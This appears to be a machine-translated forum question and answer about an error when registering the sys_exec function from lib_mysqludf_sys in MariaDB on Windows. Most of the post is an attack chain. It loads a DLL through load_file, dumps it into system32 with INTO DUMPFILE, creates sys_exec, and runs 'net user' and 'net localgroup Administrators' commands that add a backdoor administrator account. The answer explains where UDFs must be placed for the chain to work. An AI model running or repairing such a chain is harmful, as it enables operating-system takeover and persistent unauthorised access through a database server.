2016-11-22 63 views
0

我想在MySQL安裝UDF插件,但此查詢我想在MySQL安裝UDF插件,但收到錯誤

MariaDB [mysql]> CREATE FUNCTION sys_exec 
    RETURNS integer SONAME 'lib_mysqludf_s ys_32.dll'; 
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_32.dll' (errno: 0,) 

得到錯誤(從評論:)

USE mysql; 
CREATE TABLE npn(line blob); 
INSERT INTO npn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_‌​sys.dll')); 
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; 
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; 
SELECT sys_exec("net user npn npn12345678 /add"); 
SELECT sys_exec("net localgroup Administrators npn /add"); 
+0

USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn值(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll')); SELECT * FROM mysql.npn INTO DUMPFILE'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME'lib_mysqludf_sys_32.dll';選擇sys_exec(「net user npn npn12345678/add」); SELECT sys_exec(「net localgroup Administrators npn/add」);我使用這些查詢的 –

回答

0

UDF不從C:\ windows \ system32加載,只能從插件目錄加載。使用「SELECT @@ plugin_dir」檢查它在安裝中的位置。